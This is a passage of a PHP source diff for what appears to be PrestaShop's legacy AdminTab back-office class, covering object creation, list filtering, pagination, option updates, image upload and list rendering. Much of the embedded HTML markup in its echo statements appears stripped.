permission to edit here.'); + } + + /* Object creation */ + else + { + if ($this->tabAccess['add'] === '1') + { + $object = new $this->className(); + $this->copyFromPost($object, $this->table); + if (!$object->add()) + $this->_errors[] = Tools::displayError('An error occurred while creating object.').' '.$this->table.' ('.Db::getInstance()->getMsgError().')'; + elseif (($_POST[$this->identifier] = $object->id /* voluntary */) && $this->postImage($object->id) && !count($this->_errors) && $this->_redirect) + { + $parent_id = (int)(Tools::getValue('id_parent', 1)); + $this->afterAdd($object); + $this->updateAssoShop($object->id); + if ($this->table == 'group') + { + $this->updateRestrictions($object->id); + // assign group access to every categories + $categories = Category::getCategories($this->context->language->id, true); + $rowList = array();$a=0; + foreach ($categories as $category) + foreach ($category as $categ_id => $categ) + if ($categ_id != 1) + $rowList[] = array('id_category' => $categ_id, 'id_group' => $object->id); + Db::getInstance()->insert('category_group', $rowList); + } + // Save and stay on same form + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay')) + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$object->id.'&conf=3&update'.$this->table.'&token='.$token); + // Save and back to parent + if (Tools::isSubmit('submitAdd'.$this->table.'AndBackToParent')) + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$parent_id.'&conf=3&token='.$token); + // Default behavior (save and back) + Tools::redirectAdmin(self::$currentIndex.($parent_id ? '&'.$this->identifier.'='.$object->id : '').'&conf=3&token='.$token); + } + } + else + $this->_errors[] = Tools::displayError('You do not have permission to add here.'); + } + } + $this->_errors = array_unique($this->_errors); + } + + /* Cancel all filters for this tab */ + elseif (isset($_POST['submitReset'.$this->table])) + { + $filters = $this->context->cookie->getFamily($this->table.'Filter_'); + foreach ($filters as $cookieKey => $filter) + if (strncmp($cookieKey, $this->table.'Filter_', 7 + Tools::strlen($this->table)) == 0) + { + $key = substr($cookieKey, 7 + Tools::strlen($this->table)); + /* Table alias could be specified using a ! eg. alias!field */ + $tmpTab = explode('!', $key); + $key = (count($tmpTab) > 1 ? $tmpTab[1] : $tmpTab[0]); + if (array_key_exists($key, $this->fieldsDisplay)) + unset($this->context->cookie->$cookieKey); + } + if (isset($this->context->cookie->{'submitFilter'.$this->table})) + unset($this->context->cookie->{'submitFilter'.$this->table}); + if (isset($this->context->cookie->{$this->table.'Orderby'})) + unset($this->context->cookie->{$this->table.'Orderby'}); + if (isset($this->context->cookie->{$this->table.'Orderway'})) + unset($this->context->cookie->{$this->table.'Orderway'}); + unset($_POST); + } + + /* Submit options list */ + elseif (Tools::getValue('submitOptions'.$this->table)) + { + $this->updateOptions($token); + } + + /* Manage list filtering */ + elseif (Tools::isSubmit('submitFilter'.$this->table) || $this->context->cookie->{'submitFilter'.$this->table} !== false) + { + $_POST = array_merge($this->context->cookie->getFamily($this->table.'Filter_'), (isset($_POST) ? $_POST : array())); + foreach ($_POST as $key => $value) + { + /* Extracting filters from $_POST on key filter_ */ + if ($value != NULL && !strncmp($key, $this->table.'Filter_', 7 + Tools::strlen($this->table))) + { + $key = Tools::substr($key, 7 + Tools::strlen($this->table)); + /* Table alias could be specified using a ! eg. alias!field */ + $tmpTab = explode('!', $key); + $filter = count($tmpTab) > 1 ? $tmpTab[1] : $tmpTab[0]; + if ($field = $this->filterToField($key, $filter)) + { + $type = (array_key_exists('filter_type', $field) ? $field['filter_type'] : (array_key_exists('type', $field) ? $field['type'] : false)); + if (($type == 'date' || $type == 'datetime') && is_string($value)) + $value = Tools::unSerialize($value); + $key = isset($tmpTab[1]) ? $tmpTab[0].'.`'.bqSQL($tmpTab[1]).'`' : '`'.bqSQL($tmpTab[0]).'`'; + if (array_key_exists('tmpTableFilter', $field)) + $sqlFilter = & $this->_tmpTableFilter; + elseif (array_key_exists('havingFilter', $field)) + $sqlFilter = & $this->_filterHaving; + else + $sqlFilter = & $this->_filter; + + /* Only for date filtering (from, to) */ + if (is_array($value)) + { + if (isset($value[0]) && !empty($value[0])) + { + if (!Validate::isDate($value[0])) + $this->_errors[] = Tools::displayError('\'From:\' date format is invalid (YYYY-MM-DD)'); + else + $sqlFilter .= ' AND '.$key.' >= \''.pSQL(Tools::dateFrom($value[0])).'\''; + } + + if (isset($value[1]) && !empty($value[1])) + { + if (!Validate::isDate($value[1])) + $this->_errors[] = Tools::displayError('\'To:\' date format is invalid (YYYY-MM-DD)'); + else + $sqlFilter .= ' AND '.$key.' <= \''.pSQL(Tools::dateTo($value[1])).'\''; + } + } + else + { + $sqlFilter .= ' AND '; + if ($type == 'int' || $type == 'bool') + $sqlFilter .= (($key == $this->identifier || $key == '`'.$this->identifier.'`' || $key == '`active`') ? 'a.' : '').pSQL($key).' = '.(int)($value).' '; + elseif ($type == 'decimal') + $sqlFilter .= (($key == $this->identifier || $key == '`'.$this->identifier.'`') ? 'a.' : '').pSQL($key).' = '.(float)($value).' '; + elseif ($type == 'select') + $sqlFilter .= (($key == $this->identifier || $key == '`'.$this->identifier.'`') ? 'a.' : '').pSQL($key).' = \''.pSQL($value).'\' '; + else + $sqlFilter .= (($key == $this->identifier || $key == '`'.$this->identifier.'`') ? 'a.' : '').pSQL($key).' LIKE \'%'.pSQL($value).'%\' '; + } + } + } + } + } + elseif(Tools::isSubmit('submitFields') && $this->requiredDatabase && $this->tabAccess['add'] === '1' && $this->tabAccess['delete'] === '1') + { + if (!is_array($fields = Tools::getValue('fieldsBox'))) + $fields = array(); + + $object = new $this->className(); + if (!$object->addFieldsRequiredDatabase($fields)) + $this->_errors[] = Tools::displayError('Error in updating required fields'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=4&token='.$token); + } + } + + protected function updateAssoShop($id_object = false) + { + if (!Shop::isFeatureActive()) + return ; + + if (!$assos = AdminTab::getAssoShop($this->table, $id_object)) + return; + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.$this->table.'_'.$assos[1].($id_object ? ' WHERE `'.$this->identifier.'`='.(int)$id_object : '')); + foreach ($assos[0] as $asso) + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.$this->table.'_'.$assos[1].' (`'.pSQL($this->identifier).'`, id_'.$assos[1].') + VALUES('.(int)$asso['id_object'].', '.(int)$asso['id_'.$assos[1]].')'); + } + + protected static function getAssoShop($table, $id_object = false) + { + if (Shop::isTableAssociated($table)) + $type = 'shop'; + else + return; + + $assos = array(); + foreach ($_POST as $k => $row) + { + if (!preg_match('/^checkBox'.Tools::toCamelCase($type, true).'Asso_'.$table.'_([0-9]+)?_([0-9]+)$/Ui', $k, $res)) + continue; + $id_asso_object = (!empty($res[1]) ? $res[1] : $id_object); + $assos[] = array('id_object' => (int)$id_asso_object, 'id_'.$type => (int)$res[2]); + } + return array($assos, $type); + } + + /** + * Update options and preferences + * + * @param string $token + */ + protected function updateOptions($token) + { + if ($this->tabAccess['edit'] === '1') + { + $this->beforeUpdateOptions(); + + $languages = Language::getLanguages(false); + foreach ($this->optionsList as $category => $categoryData) + { + $fields = $categoryData['fields']; + + /* Check required fields */ + foreach ($fields as $field => $values) + if (isset($values['required']) && $values['required'] && !empty($_POST['multishopOverrideOption'][$field])) + if (isset($values['type']) && $values['type'] == 'textLang') + { + foreach ($languages as $language) + if (($value = Tools::getValue($field.'_'.$language['id_lang'])) == false && (string)$value != '0') + $this->_errors[] = sprintf(Tools::displayError('field %s is required.'), $values['title']); + } + elseif (($value = Tools::getValue($field)) == false && (string)$value != '0') + $this->_errors[] = sprintf(Tools::displayError('field %s is required.'), $values['title']); + + /* Check fields validity */ + foreach ($fields as $field => $values) + if (isset($values['type']) && $values['type'] == 'textLang') + { + foreach ($languages as $language) + if (Tools::getValue($field.'_'.$language['id_lang']) && isset($values['validation'])) + if (!Validate::$values['validation'](Tools::getValue($field.'_'.$language['id_lang']))) + $this->_errors[] = sprintf(Tools::displayError('field %s is invalid.'), $values['title']); + } + elseif (Tools::getValue($field) && isset($values['validation'])) + if (!Validate::$values['validation'](Tools::getValue($field))) + $this->_errors[] = sprintf(Tools::displayError('field %s is invalid.'), $values['title']); + + /* Default value if null */ + foreach ($fields as $field => $values) + if (!Tools::getValue($field) && isset($values['default'])) + $_POST[$field] = $values['default']; + + if (!count($this->_errors)) + { + foreach ($fields as $key => $options) + { + if (isset($options['visibility']) && $options['visibility'] > Shop::getContext()) + continue; + + if (Shop::isFeatureActive() && empty($_POST['multishopOverrideOption'][$key])) + { + Configuration::deleteFromContext($key); + continue; + } + + // check if a method updateOptionFieldName is available + $method_name = 'updateOption'.Tools::toCamelCase($key, true); + if (method_exists($this, $method_name)) + $this->$method_name(Tools::getValue($key)); + else if (isset($options['type']) && in_array($options['type'], array('textLang', 'textareaLang'))) + { + $list = array(); + foreach ($languages as $language) + { + $val = (isset($options['cast']) ? $options['cast'](Tools::getValue($key.'_'.$language['id_lang'])) : Tools::getValue($key.'_'.$language['id_lang'])); + if ($this->validateField($val, $options)) + { + if (Validate::isCleanHtml($val)) + $list[$language['id_lang']] = $val; + else + $this->_errors[] = Tools::displayError('Can not add configuration '.$key.' for lang '.Language::getIsoById((int)$language['id_lang'])); + } + } + Configuration::updateValue($key, $list); + } + else + { + $val = (isset($options['cast']) ? $options['cast'](Tools::getValue($key)) : Tools::getValue($key)); + if ($this->validateField($val, $options)) + { + if (Validate::isCleanHtml($val)) + Configuration::updateValue($key, $val); + else + $this->_errors[] = Tools::displayError('Can not add configuration '.$key); + } + } + } + } + } + + if (count($this->_errors) <= 0) + Tools::redirectAdmin(self::$currentIndex.'&conf=6&token='.$token); + } + else + $this->_errors[] = Tools::displayError('You do not have permission to edit here.'); + } + + /** + * Can be overriden + */ + public function beforeUpdateOptions() + { + } + + protected function validateField($value, $field) + { + if (isset($field['validation'])) + { + if ((!isset($field['empty']) || !$field['empty'] || (isset($field['empty']) && $field['empty'] && $value)) && method_exists('Validate', $field['validation'])) + { + if (!Validate::$field['validation']($value)) + { + $this->_errors[] = Tools::displayError($field['title'].' : Incorrect value'); + return false; + } + } + } + + return true; + } + + protected function uploadImage($id, $name, $dir, $ext = false, $width = NULL, $height = NULL) + { + if (isset($_FILES[$name]['tmp_name']) && !empty($_FILES[$name]['tmp_name'])) + { + // Delete old image + if (Validate::isLoadedObject($object = $this->loadObject())) + $object->deleteImage(); + else + return false; + + + // Check image validity + $max_size = isset($this->maxImageSize) ? $this->maxImageSize : 0; + if ($error = ImageManager::validateUpload($_FILES[$name], Tools::getMaxUploadSize($max_size))) + $this->_errors[] = $error; + elseif (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES[$name]['tmp_name'], $tmpName)) + return false; + else + { + $_FILES[$name]['tmp_name'] = $tmpName; + // Copy new image + if (!ImageManager::resize($tmpName, _PS_IMG_DIR_.$dir.$id.'.'.$this->imageType, (int)$width, (int)$height, ($ext ? $ext : $this->imageType))) + $this->_errors[] = Tools::displayError('An error occurred while uploading image.'); + if (count($this->_errors)) + return false; + if ($this->afterImageUpload()) + { + unlink($tmpName); + return true; + } + return false; + } + } + return true; + } + + + /** + * Overload this method for custom checking + * + * @param integer $id Object id used for deleting images + * @return boolean + */ + protected function postImage($id) + { + if (isset($this->fieldImageSettings['name']) && isset($this->fieldImageSettings['dir'])) + return $this->uploadImage($id, $this->fieldImageSettings['name'], $this->fieldImageSettings['dir'].'/'); + elseif (!empty($this->fieldImageSettings)) + foreach ($this->fieldImageSettings as $image) + if (isset($image['name']) && isset($image['dir'])) + $this->uploadImage($id, $image['name'], $image['dir'].'/'); + return !count($this->_errors) ? true : false; + } + + /** + * Copy datas from $_POST to object + * + * @param object &$object Object + * @param string $table Object table + */ + protected function copyFromPost(&$object, $table) + { + /* Classical fields */ + foreach ($_POST as $key => $value) + if (key_exists($key, $object) && $key != 'id_'.$table) + { + /* Do not take care of password field if empty */ + if ($key == 'passwd' && Tools::getValue('id_'.$table) && empty($value)) + continue; + /* Automatically encrypt password in MD5 */ + if ($key == 'passwd' && !empty($value)) + $value = Tools::encrypt($value); + $object->{$key} = $value; + } + + /* Multilingual fields */ + $rules = call_user_func(array(get_class($object), 'getValidationRules'), get_class($object)); + if (count($rules['validateLang'])) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + foreach (array_keys($rules['validateLang']) as $field) + if (isset($_POST[$field.'_'.(int)($language['id_lang'])])) + $object->{$field}[(int)($language['id_lang'])] = $_POST[$field.'_'.(int)($language['id_lang'])]; + } + } + + /** + * Display errors + */ + public function displayErrors() + { + if ($nbErrors = count($this->_errors) && $this->_includeContainer) + { + echo ' +
X'; + if (count($this->_errors) == 1) + echo $this->_errors[0]; + else + { + echo sprintf($this->l('%d errors'), $nbErrors).'
    '; + foreach ($this->_errors as $error) + echo '
  1. '.$error.'
  2. '; + echo '
'; + } + echo '
'; + } + $this->includeSubTab('displayErrors'); + } + + /** + * Display a warning message + * + * @param string $warn Warning message to display + */ + public function displayWarning($warn) + { + $str_output = ''; + if (!empty($warn)) + { + $str_output .= ' +
'; + if (!is_array($warn)) + $str_output .= ''.$warn; + else + { $str_output .= 'X'. + (count($warn) > 1 ? $this->l('There are') : $this->l('There is')).' '.count($warn).' '.(count($warn) > 1 ? $this->l('warnings') : $this->l('warning')) + .' + '.$this->l('Click here to see more').' + '; + } + $str_output .= '
'; + } + echo $str_output; + } + + /** + * Display confirmations + */ + public function displayConf() + { + if ($conf = Tools::getValue('conf')) + echo ' +
+ '.$this->_conf[(int)($conf)].' +
'; + } + + /** + * Get the current objects' list form the database + * + * @param integer $id_lang Language used for display + * @param string $orderBy ORDER BY clause + * @param string $_orderWay Order way (ASC, DESC) + * @param integer $start Offset in LIMIT clause + * @param integer $limit Row count in LIMIT clause + */ + public function getList($id_lang, $orderBy = NULL, $orderWay = NULL, $start = 0, $limit = NULL, $id_lang_shop = false) + { + /* Manage default params values */ + if (empty($limit)) + $limit = ((!isset($this->context->cookie->{$this->table.'_pagination'})) ? $this->_pagination[1] : $limit = $this->context->cookie->{$this->table.'_pagination'}); + + if (!Validate::isTableOrIdentifier($this->table)) + $this->_errors[] = Tools::displayError('Table name is invalid:').' "'.$this->table.'"'; + + if (empty($orderBy)) + $orderBy = $this->context->cookie->__get($this->table.'Orderby') ? $this->context->cookie->__get($this->table.'Orderby') : $this->_defaultOrderBy; + if (empty($orderWay)) + $orderWay = $this->context->cookie->__get($this->table.'Orderway') ? $this->context->cookie->__get($this->table.'Orderway') : 'ASC'; + + $limit = (int)(Tools::getValue('pagination', $limit)); + $this->context->cookie->{$this->table.'_pagination'} = $limit; + + /* Check params validity */ + if (!Validate::isOrderBy($orderBy) || !Validate::isOrderWay($orderWay) + OR !is_numeric($start) || !is_numeric($limit) + OR !Validate::isUnsignedId($id_lang)) + die(Tools::displayError('get list params is not valid')); + + /* Determine offset from current page */ + if ((isset($_POST['submitFilter'.$this->table]) OR + isset($_POST['submitFilter'.$this->table.'_x']) OR + isset($_POST['submitFilter'.$this->table.'_y'])) AND + !empty($_POST['submitFilter'.$this->table]) AND + is_numeric($_POST['submitFilter'.$this->table])) + $start = (int)($_POST['submitFilter'.$this->table] - 1) * $limit; + + /* Cache */ + $this->_lang = (int)($id_lang); + $this->_orderBy = $orderBy; + $this->_orderWay = Tools::strtoupper($orderWay); + + /* SQL table : orders, but class name is Order */ + $sqlTable = $this->table == 'order' ? 'orders' : $this->table; + + // Add SQL shop restriction + $selectShop = $joinShop = $whereShop = ''; + if ($this->shopLinkType) + { + $selectShop = ', shop.name as shop_name '; + $joinShop = ' LEFT JOIN '._DB_PREFIX_.$this->shopLinkType.' shop + ON a.id_'.$this->shopLinkType.' = shop.id_'.$this->shopLinkType; + $whereShop = Shop::addSqlRestriction($this->shopShareDatas, 'a', $this->shopLinkType); + } + + $asso = Shop::getAssoTable($this->table); + if ($asso !== false && $assos['type'] == 'shop') + { + $filterKey = $asso['type']; + $idenfierShop = Shop::getContextListShopID(); + } + + $filterShop = ''; + if (isset($filterKey)) + { + if (!$this->_group) + $this->_group = 'GROUP BY a.'.pSQL($this->identifier); + else if (!preg_match('#(\s|,)\s*a\.`?'.pSQL($this->identifier).'`?(\s|,|$)#', $this->_group)) + $this->_group .= ', a.'.pSQL($this->identifier); + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && !preg_match('#`?'.preg_quote(_DB_PREFIX_.$this->table.'_'.$filterKey).'`? *sa#', $this->_join)) + $filterShop = 'JOIN `'._DB_PREFIX_.$this->table.'_'.$filterKey.'` sa ON (sa.'.$this->identifier.' = a.'.$this->identifier.' AND sa.id_'.$filterKey.' IN ('.implode(', ', $idenfierShop).'))'; + } + /////////////////////// + /* Query in order to get results with all fields */ + $sql = 'SELECT SQL_CALC_FOUND_ROWS + '.($this->_tmpTableFilter ? ' * FROM (SELECT ' : '').' + '.($this->lang ? 'b.*, ' : '').'a.*'.(isset($this->_select) ? ', '.$this->_select.' ' : '').$selectShop.' + FROM `'._DB_PREFIX_.$sqlTable.'` a + '.$filterShop.' + '.($this->lang ? 'LEFT JOIN `'._DB_PREFIX_.$this->table.'_lang` b ON (b.`'.$this->identifier.'` = a.`'.$this->identifier.'` AND b.`id_lang` = '.(int)$id_lang.($id_lang_shop ? ' AND b.`id_shop`='.(int)$id_lang_shop : '').')' : '').' + '.(isset($this->_join) ? $this->_join.' ' : '').' + '.$joinShop.' + WHERE 1 '.(isset($this->_where) ? $this->_where.' ' : '').($this->deleted ? 'AND a.`deleted` = 0 ' : '').(isset($this->_filter) ? $this->_filter : '').$whereShop.' + '.(isset($this->_group) ? $this->_group.' ' : '').' + '.((isset($this->_filterHaving) || isset($this->_having)) ? 'HAVING ' : '').(isset($this->_filterHaving) ? ltrim($this->_filterHaving, ' AND ') : '').(isset($this->_having) ? $this->_having.' ' : '').' + ORDER BY '.(($orderBy == $this->identifier) ? 'a.' : '').'`'.pSQL($orderBy).'` '.pSQL($orderWay). + ($this->_tmpTableFilter ? ') tmpTable WHERE 1'.$this->_tmpTableFilter : '').' + LIMIT '.(int)$start.','.(int)$limit; + $this->_list = Db::getInstance()->executeS($sql); + $this->_listTotal = Db::getInstance()->getValue('SELECT FOUND_ROWS() AS `'._DB_PREFIX_.$this->table.'`'); + + } + + /** + * Display image aside object form + * + * @param integer $id Object id + * @param string $image Local image filepath + * @param integer $size Image width + * @param integer $id_image Image id (for products with several images) + * @param string $token Employee token used in the image deletion link + * @param boolean $disableCache When turned on a timestamp will be added to the image URI to disable the HTTP cache + */ + public function displayImage($id, $image, $size, $id_image = NULL, $token = NULL, $disableCache = false) + { + if (!isset($token) || empty($token)) + $token = $this->token; + if ($id && file_exists($image)) + echo ' +
+ '.ImageManager::thumbnail($image, $this->table.'_'.(int)($id).'.'.$this->imageType, $size, $this->imageType, $disableCache).' +

'.$this->l('File size').' '.(filesize($image) / 1000).'kb

+ + '.$this->l('Delete').' '.$this->l('Delete').' +
'; + } + + /** + * Display list header (filtering, pagination and column names) + */ + public function displayListHeader($token = NULL) + { + $isCms = false; + if (preg_match('/cms/Ui', $this->identifier)) + $isCms = true; + $id_cat = Tools::getValue('id_'.($isCms ? 'cms_' : '').'category'); + + if (!isset($token) || empty($token)) + $token = $this->token; + + /* Determine total page number */ + $totalPages = ceil($this->_listTotal / Tools::getValue('pagination', (isset($this->context->cookie->{$this->table.'_pagination'}) ? $this->context->cookie->{$this->table.'_pagination'} : $this->_pagination[0]))); + if (!$totalPages) $totalPages = 1; + + echo ' '; + echo ' + + + + + + + + + '; + foreach ($this->fieldsDisplay as $key => $params) + { + echo ' '; + } + + if ($this->shopLinkType) + { + echo ''; + } + + /* Check if object can be modified, deleted or detailed */ + if ($this->edit || $this->delete || ($this->view && $this->view !== 'noActionColumn')) + echo ' '; + echo ' + + '; + + /* Javascript hack in order to catch ENTER keypress event */ + $keyPress = 'onkeypress="formSubmit(event, \'submitFilterButton_'.$this->table.'\');"'; + + /* Filters (input, select, date or bool) */ + foreach ($this->fieldsDisplay as $key => $params) + { + $width = (isset($params['width']) ? ' style="width: '.(int)($params['width']).'px;"' : ''); + echo ''; + if (!isset($params['type'])) + $params['type'] = 'text'; + + $value = Tools::getValue($this->table.'Filter_'.(array_key_exists('filter_key', $params) ? $params['filter_key'] : $key)); + if (isset($params['search']) && !$params['search']) + { + echo '--'; + continue; + } + switch ($params['type']) + { + case 'bool': + echo ' + '; + break; + + case 'date': + case 'datetime': + if (is_string($value)) + $value = Tools::unSerialize($value); + if (!Validate::isCleanHtml($value[0]) || !Validate::isCleanHtml($value[1])) + $value = ''; + $name = $this->table.'Filter_'.(isset($params['filter_key']) ? $params['filter_key'] : $key); + $nameId = str_replace('!', '__', $name); + includeDatepicker(array($nameId.'_0', $nameId.'_1')); + echo $this->l('From').'
+ '.$this->l('To').' '; + break; + + case 'select': + + if (isset($params['filter_key'])) + { + echo ''; + break; + } + + case 'text': + default: + if (!Validate::isCleanHtml($value)) + $value = ''; + echo ''; + } + echo ''; + } + + if ($this->shopLinkType) + { + echo '
'; + } + + if ($this->edit || $this->delete || ($this->view && $this->view !== 'noActionColumn')) + echo ''; + + echo ' + '; + } + + public function displayTop() + { + } + + /** + * Display list + */ + public function displayList() + { + $this->displayTop(); + + if ($this->edit && (!isset($this->noAdd) || !$this->noAdd)) + $this->displayAddButton(); + + /* Append when we get a syntax error in SQL query */ + if ($this->_list === false) + { + $this->displayWarning($this->l('Bad SQL query')); + return false; + } + + /* Display list header (filtering, pagination and column names) */ + $this->displayListHeader(); + if (!count($this->_list)) + echo ''; + + /* Show the content of the table */ + $this->displayListContent(); + + /* Close list table and submit button */ + $this->displayListFooter(); + } + + public function displayListContent($token = NULL) + { + /* Display results in a table + * + * align : determine value alignment + * prefix : displayed before value + * suffix : displayed after value + * image : object image + * icon : icon determined by values + * active : allow to toggle status + */ + $id_category = 1; // default categ + + $irow = 0; + if ($this->_list && isset($this->fieldsDisplay['position'])) + { + $positions = array_map(create_function('$elem', 'return (int)$elem[\'position\'];'), $this->_list); + sort($positions); + } + if ($this->_list) + { + $isCms = false; + if (preg_match('/cms/Ui', $this->identifier)) + $isCms = true; + $keyToGet = 'id_'.($isCms ? 'cms_' : '').'category'.(in_array($this->identifier, array('id_category', 'id_cms_category')) ? '_parent' : ''); + foreach ($this->_list as $tr) + { + $id = $tr[$this->identifier]; + echo 'identifier,$this->identifiersDnd) ? ' id="tr_'.(($id_category = (int)(Tools::getValue('id_'.($isCms ? 'cms_' : '').'category', '1'))) ? $id_category : '').'_'.$id.'_'.$tr['position'].'"' : '').($irow++ % 2 ? ' class="alt_row"' : '').' '.((isset($tr['color']) && $this->colorOnBackground) ? 'style="background-color: '.$tr['color'].'"' : '').'> + '; + foreach ($this->fieldsDisplay as $key => $params) + { + $tmp = explode('!', $key); + $key = isset($tmp[1]) ? $tmp[1] : $tmp[0]; + echo ' + '; + } + + if ($this->shopLinkType) + { + $name = (Tools::strlen($tr['shop_name']) > 15) ? Tools::substr($tr['shop_name'], 0, 15).'...' : $tr['shop_name']; + echo ''; + } + + if ($this->edit || $this->delete || ($this->view && $this->view !== 'noActionColumn')) + { + echo ''; + } + echo ''; + } + } + } + + protected function displayAddButton() + { + echo '
'.$this->l('Add new').'

'; + } + + protected function _displayEnableLink($token, $id, $value, $active, $id_category = NULL, $id_product = NULL) + { + echo ' + '.($value ? $this->l('Enabled') : $this->l('Disabled')).''; + } + + protected function _displayDuplicate($token = NULL, $id) + { + $_cacheLang['Duplicate'] = $this->l('Duplicate'); + $_cacheLang['Copy images too?'] = $this->l('Copy images too?', __CLASS__, TRUE, FALSE); + + $duplicate = self::$currentIndex.'&'.$this->identifier.'='.$id.'&duplicate'.$this->table; + + echo ' + + '.$_cacheLang['Duplicate'].''; + } + + protected function _displayViewLink($token = NULL, $id) + { + $_cacheLang['View'] = $this->l('View'); + + echo ' + + '.$_cacheLang['View'].''; + } + + protected function _displayEditLink($token = NULL, $id) + { + $_cacheLang['Edit'] = $this->l('Edit'); + + echo ' + + '; + } + + protected function _displayDeleteLink($token = NULL, $id) + { + $_cacheLang['Delete'] = $this->l('Delete'); + $_cacheLang['DeleteItem'] = $this->l('Delete item #', __CLASS__, TRUE, FALSE); + + echo ' + + '.$_cacheLang['Delete'].''; + } + + /** + * Close list table and submit button + */ + public function displayListFooter($token = NULL) + { + echo '
+ '; + + /* Determine current page number */ + $page = (int)(Tools::getValue('submitFilter'.$this->table)); + if (!$page) $page = 1; + if ($page > 1) + echo ' + +   '; + echo $this->l('Page').' '.$page.' / '.$totalPages; + if ($page < $totalPages) + echo ' + +  '; + echo ' | '.$this->l('Display').' + + / '.(int)($this->_listTotal).' '.$this->l('result(s)').' + + + + + + +
'; + + /* Display column names and arrows for ordering (ASC, DESC) */ + if (array_key_exists($this->identifier,$this->identifiersDnd) && $this->_orderBy == 'position') + { + echo ' + + + + '; + } + echo 'identifier,$this->identifiersDnd) ? ' id="'.(((int)(Tools::getValue($this->identifiersDnd[$this->identifier], 1))) ? substr($this->identifier,3,strlen($this->identifier)) : '').'"' : '' ).' class="table'.((array_key_exists($this->identifier,$this->identifiersDnd) && ($this->_orderBy != 'position 'AND $this->_orderWay != 'DESC')) ? ' tableDnD' : '' ).'" cellpadding="0" cellspacing="0"> +
'; + if ($this->delete) + echo ' '; + echo ' '.$params['title']; + if (!isset($params['orderby']) || $params['orderby']) + { + // Cleaning links + if (Tools::getValue($this->table.'Orderby') && Tools::getValue($this->table.'Orderway')) + self::$currentIndex = preg_replace('/&'.$this->table.'Orderby=([a-z _]*)&'.$this->table.'Orderway=([a-z]*)/i', '', self::$currentIndex); + echo '
+ + '; + } + echo '
'.$this->l(($this->shopLinkType == 'shop') ? 'Shop' : 'Group shop').''.$this->l('Actions').'
'; + if ($this->delete) + echo ' --'; + echo ' ----
'.$this->l('No items found').'
'; + if ($this->delete && (!isset($this->_listSkipDelete) || !in_array($id, $this->_listSkipDelete))) + echo ''; + echo 'noLink) || !$this->noLink)) + echo ' onclick="document.location = \''.self::$currentIndex.'&'.$this->identifier.'='.$id.($this->view? '&view' : '&update').$this->table.'&token='.($token!=NULL ? $token : $this->token).'\'">'.(isset($params['prefix']) ? $params['prefix'] : ''); + else + echo '>'; + if (isset($params['active']) && isset($tr[$key])) + $this->_displayEnableLink($token, $id, $tr[$key], $params['active'], Tools::getValue('id_category'), Tools::getValue('id_product')); + elseif (isset($params['activeVisu']) && isset($tr[$key])) + echo ''.($tr[$key] ? $this->l('Enabled') : $this->l('Disabled')).''; + elseif (isset($params['position'])) + { + if ($this->_orderBy == 'position' && $this->_orderWay != 'DESC') + { + echo ' + '.$this->l('Down').''; + + echo ' + '.$this->l('Up').''; + } + else + echo (int)($tr[$key] + 1); + } + elseif (isset($params['image'])) + { + // item_id is the product id in a product image context, else it is the image id. + $item_id = isset($params['image_id']) ? $tr[$params['image_id']] : $id; + // If it's a product image + if (isset($tr['id_image'])) + { + $image = new Image((int)$tr['id_image']); + $path_to_image = _PS_IMG_DIR_.$params['image'].'/'.$image->getExistingImgPath().'.'.$this->imageType; + }else + $path_to_image = _PS_IMG_DIR_.$params['image'].'/'.$item_id.(isset($tr['id_image']) ? '-'.(int)($tr['id_image']) : '').'.'.$this->imageType; + + echo ImageManager::thumbnail($path_to_image, $this->table.'_mini_'.$item_id.'.'.$this->imageType, 45, $this->imageType); + } + elseif (isset($params['icon']) && (isset($params['icon'][$tr[$key]]) || isset($params['icon']['default']))) + echo ''.$tr[$key]).''; + elseif (isset($params['price'])) + echo Tools::displayPrice($tr[$key], (isset($params['currency']) ? Currency::getCurrencyInstance($tr['id_currency']) : $this->context->currency), false); + elseif (isset($params['float'])) + echo rtrim(rtrim($tr[$key], '0'), '.'); + elseif (isset($params['type']) && $params['type'] == 'date') + echo Tools::displayDate($tr[$key], $this->context->language->id); + elseif (isset($params['type']) && $params['type'] == 'datetime') + echo Tools::displayDate($tr[$key], $this->context->language->id, true); + elseif (isset($tr[$key])) + { + if ($key == 'price') + $echo = round($tr[$key], 2); + else if (isset($params['maxlength']) && Tools::strlen($tr[$key]) > $params['maxlength']) + $echo = ''.Tools::substr($tr[$key], 0, $params['maxlength']).'...'; + else + $echo = $tr[$key]; + + echo isset($params['callback']) ? call_user_func_array(array((isset($params['callback_object'])) ? $params['callback_object'] : $this->className, $params['callback']), array($echo, $tr)) : $echo; + } + else + echo '--'; + + echo (isset($params['suffix']) ? $params['suffix'] : ''). + ''.$name.''; + if ($this->view) + $this->_displayViewLink($token, $id); + if ($this->edit) + $this->_displayEditLink($token, $id); + if ($this->delete && (!isset($this->_listSkipDelete) || !in_array($id, $this->_listSkipDelete))) + $this->_displayDeleteLink($token, $id); + if ($this->duplicate) + $this->_displayDuplicate($token, $id); + echo '
'; + if ($this->delete) + echo '

'; + echo ' + + + + + '; + if (isset($this->_includeTab) && count($this->_includeTab)) + echo '

'; + } + + /** + * Options lists + */ + public function displayOptionsList() + { + $tab = Tab::getTab($this->context->language->id, $this->id); + + // Retrocompatibility < 1.5.0 + if (!$this->optionsList && $this->_fieldsOptions) + { + $this->optionsList = array( + 'options' => array( + 'title' => ($this->optionTitle) ? $this->optionTitle : $this->l('Options'), + 'fields' => $this->_fieldsOptions, + ), + ); + } + + if (!$this->optionsList) + return ; + + echo '
'; + echo ''; + + echo '
'; + foreach ($this->optionsList as $category => $categoryData) + { + $required = false; + $this->displayTopOptionCategory($category, $categoryData); + echo '
'; + + // Options category title + $legend = ' '; + $legend .= ((isset($categoryData['title'])) ? $categoryData['title'] : $this->l('Options')); + echo ''.$legend.''; + + // Category fields + if (!isset($categoryData['fields'])) + continue; + + // Category description + if (isset($categoryData['description']) && $categoryData['description']) + echo '

'.$categoryData['description'].'

